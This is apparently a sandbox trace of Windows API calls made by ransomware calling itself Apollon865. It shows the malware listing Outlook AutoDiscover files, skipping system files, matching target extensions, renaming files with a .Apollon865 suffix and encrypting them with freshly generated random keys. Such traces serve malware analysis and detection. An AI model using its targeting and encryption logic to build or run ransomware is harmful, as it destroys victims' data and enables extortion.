	[0070.036] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.036] lstrlenW (lpString="ba_") returned 3
	[0070.036] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.036] lstrlenW (lpString="dbb") returned 3
	[0070.036] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.036] lstrlenW (lpString="vmdk") returned 4
	[0070.036] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.036] lstrlenW (lpString="rar") returned 3
	[0070.036] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.036] lstrlenW (lpString="zip") returned 3
	[0070.036] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.036] lstrlenW (lpString="tgz") returned 3
	[0070.036] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.036] lstrlenW (lpString="vbox") returned 4
	[0070.036] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.037] lstrlenW (lpString="vdi") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.037] lstrlenW (lpString="vhd") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.037] lstrlenW (lpString="vhdx") returned 4
	[0070.037] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.037] lstrlenW (lpString="avhd") returned 4
	[0070.037] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.037] lstrlenW (lpString="db") returned 2
	[0070.037] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.037] lstrlenW (lpString="db2") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.037] lstrlenW (lpString="db3") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.037] lstrlenW (lpString="dbf") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.037] lstrlenW (lpString="mdf") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.037] lstrlenW (lpString="mdb") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.037] lstrlenW (lpString="sql") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.037] lstrlenW (lpString="sqlite") returned 6
	[0070.037] lstrcmpiW (lpString1="TH.XML", lpString2="sqlite") returned 1
	[0070.037] lstrlenW (lpString="sqlite3") returned 7
	[0070.037] lstrcmpiW (lpString1=".TH.XML", lpString2="sqlite3") returned -1
	[0070.037] lstrlenW (lpString="sqlitedb") returned 8
	[0070.037] lstrcmpiW (lpString1="O.TH.XML", lpString2="sqlitedb") returned -1
	[0070.037] lstrlenW (lpString="xml") returned 3
	[0070.037] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.037] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.Apollon865") returned 89
	[0070.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.039] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0070.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.039] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.040] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.040] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.040] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.041] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.042] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.043] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.043] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.043] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.043] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.044] CloseHandle (hObject=0x118) returned 1
	[0070.044] CloseHandle (hObject=0xc0) returned 1
	[0070.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.044] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="YAE791~1.XML")) returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2=".") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="..") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="windows") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="bootmgr") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="temp") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="pagefile.sys") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="boot") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="ids.txt") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="ntuser.dat") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="perflogs") returned 1
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2="MSBuild") returned 1
	[0070.044] lstrlenW (lpString="YAHOO.CO.UK.XML") returned 15
	[0070.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML") returned 78
	[0070.044] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.UK.XML" | out: lpString1="YAHOO.CO.UK.XML") returned="YAHOO.CO.UK.XML"
	[0070.044] lstrlenW (lpString="YAHOO.CO.UK.XML") returned 15
	[0070.044] lstrlenW (lpString="Apollon865") returned 10
	[0070.044] lstrcmpiW (lpString1=".CO.UK.XML", lpString2="Apollon865") returned -1
	[0070.044] lstrlenW (lpString=".dll") returned 4
	[0070.044] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2=".dll") returned 1
	[0070.045] lstrlenW (lpString=".lnk") returned 4
	[0070.045] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2=".lnk") returned 1
	[0070.045] lstrlenW (lpString=".ini") returned 4
	[0070.045] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2=".ini") returned 1
	[0070.045] lstrlenW (lpString=".sys") returned 4
	[0070.045] lstrcmpiW (lpString1="YAHOO.CO.UK.XML", lpString2=".sys") returned 1
	[0070.045] lstrlenW (lpString="YAHOO.CO.UK.XML") returned 15
	[0070.045] lstrlenW (lpString="bak") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.045] lstrlenW (lpString="ba_") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.045] lstrlenW (lpString="dbb") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.045] lstrlenW (lpString="vmdk") returned 4
	[0070.045] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.045] lstrlenW (lpString="rar") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.045] lstrlenW (lpString="zip") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.045] lstrlenW (lpString="tgz") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.045] lstrlenW (lpString="vbox") returned 4
	[0070.045] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.045] lstrlenW (lpString="vdi") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.045] lstrlenW (lpString="vhd") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.045] lstrlenW (lpString="vhdx") returned 4
	[0070.045] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.045] lstrlenW (lpString="avhd") returned 4
	[0070.045] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.045] lstrlenW (lpString="db") returned 2
	[0070.045] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.045] lstrlenW (lpString="db2") returned 3
	[0070.045] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.046] lstrlenW (lpString="db3") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.046] lstrlenW (lpString="dbf") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.046] lstrlenW (lpString="mdf") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.046] lstrlenW (lpString="mdb") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.046] lstrlenW (lpString="sql") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.046] lstrlenW (lpString="sqlite") returned 6
	[0070.046] lstrcmpiW (lpString1="UK.XML", lpString2="sqlite") returned 1
	[0070.046] lstrlenW (lpString="sqlite3") returned 7
	[0070.046] lstrcmpiW (lpString1=".UK.XML", lpString2="sqlite3") returned -1
	[0070.046] lstrlenW (lpString="sqlitedb") returned 8
	[0070.046] lstrcmpiW (lpString1="O.UK.XML", lpString2="sqlitedb") returned -1
	[0070.046] lstrlenW (lpString="xml") returned 3
	[0070.046] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.046] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.Apollon865") returned 89
	[0070.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.048] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=810) returned 1
	[0070.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.048] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.049] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.049] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.049] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.050] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.051] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.052] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.052] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.052] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.052] CloseHandle (hObject=0x118) returned 1
	[0070.053] CloseHandle (hObject=0xc0) returned 1
	[0070.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.053] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="YA81CD~1.XML")) returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2=".") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="..") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="windows") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="bootmgr") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="temp") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="pagefile.sys") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="boot") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="ids.txt") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="ntuser.dat") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="perflogs") returned 1
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2="MSBuild") returned 1
	[0070.053] lstrlenW (lpString="YAHOO.COM.AR.XML") returned 16
	[0070.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML") returned 78
	[0070.053] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.AR.XML" | out: lpString1="YAHOO.COM.AR.XML") returned="YAHOO.COM.AR.XML"
	[0070.053] lstrlenW (lpString="YAHOO.COM.AR.XML") returned 16
	[0070.053] lstrlenW (lpString="Apollon865") returned 10
	[0070.053] lstrcmpiW (lpString1="COM.AR.XML", lpString2="Apollon865") returned 1
	[0070.053] lstrlenW (lpString=".dll") returned 4
	[0070.053] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2=".dll") returned 1
	[0070.053] lstrlenW (lpString=".lnk") returned 4
	[0070.054] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2=".lnk") returned 1
	[0070.054] lstrlenW (lpString=".ini") returned 4
	[0070.054] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2=".ini") returned 1
	[0070.054] lstrlenW (lpString=".sys") returned 4
	[0070.054] lstrcmpiW (lpString1="YAHOO.COM.AR.XML", lpString2=".sys") returned 1
	[0070.054] lstrlenW (lpString="YAHOO.COM.AR.XML") returned 16
	[0070.054] lstrlenW (lpString="bak") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.054] lstrlenW (lpString="ba_") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.054] lstrlenW (lpString="dbb") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.054] lstrlenW (lpString="vmdk") returned 4
	[0070.054] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.054] lstrlenW (lpString="rar") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.054] lstrlenW (lpString="zip") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.054] lstrlenW (lpString="tgz") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.054] lstrlenW (lpString="vbox") returned 4
	[0070.054] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.054] lstrlenW (lpString="vdi") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.054] lstrlenW (lpString="vhd") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.054] lstrlenW (lpString="vhdx") returned 4
	[0070.054] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.054] lstrlenW (lpString="avhd") returned 4
	[0070.054] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.054] lstrlenW (lpString="db") returned 2
	[0070.054] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.054] lstrlenW (lpString="db2") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.054] lstrlenW (lpString="db3") returned 3
	[0070.054] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.054] lstrlenW (lpString="dbf") returned 3
	[0070.055] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.055] lstrlenW (lpString="mdf") returned 3
	[0070.055] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.055] lstrlenW (lpString="mdb") returned 3
	[0070.055] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.055] lstrlenW (lpString="sql") returned 3
	[0070.055] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.055] lstrlenW (lpString="sqlite") returned 6
	[0070.055] lstrcmpiW (lpString1="AR.XML", lpString2="sqlite") returned -1
	[0070.055] lstrlenW (lpString="sqlite3") returned 7
	[0070.055] lstrcmpiW (lpString1=".AR.XML", lpString2="sqlite3") returned -1
	[0070.055] lstrlenW (lpString="sqlitedb") returned 8
	[0070.055] lstrcmpiW (lpString1="M.AR.XML", lpString2="sqlitedb") returned -1
	[0070.055] lstrlenW (lpString="xml") returned 3
	[0070.055] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.055] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.Apollon865") returned 90
	[0070.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.062] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.062] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.063] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.063] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.063] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.064] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.065] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.065] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.065] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.066] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.066] CloseHandle (hObject=0x118) returned 1
	[0070.066] CloseHandle (hObject=0xc0) returned 1
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
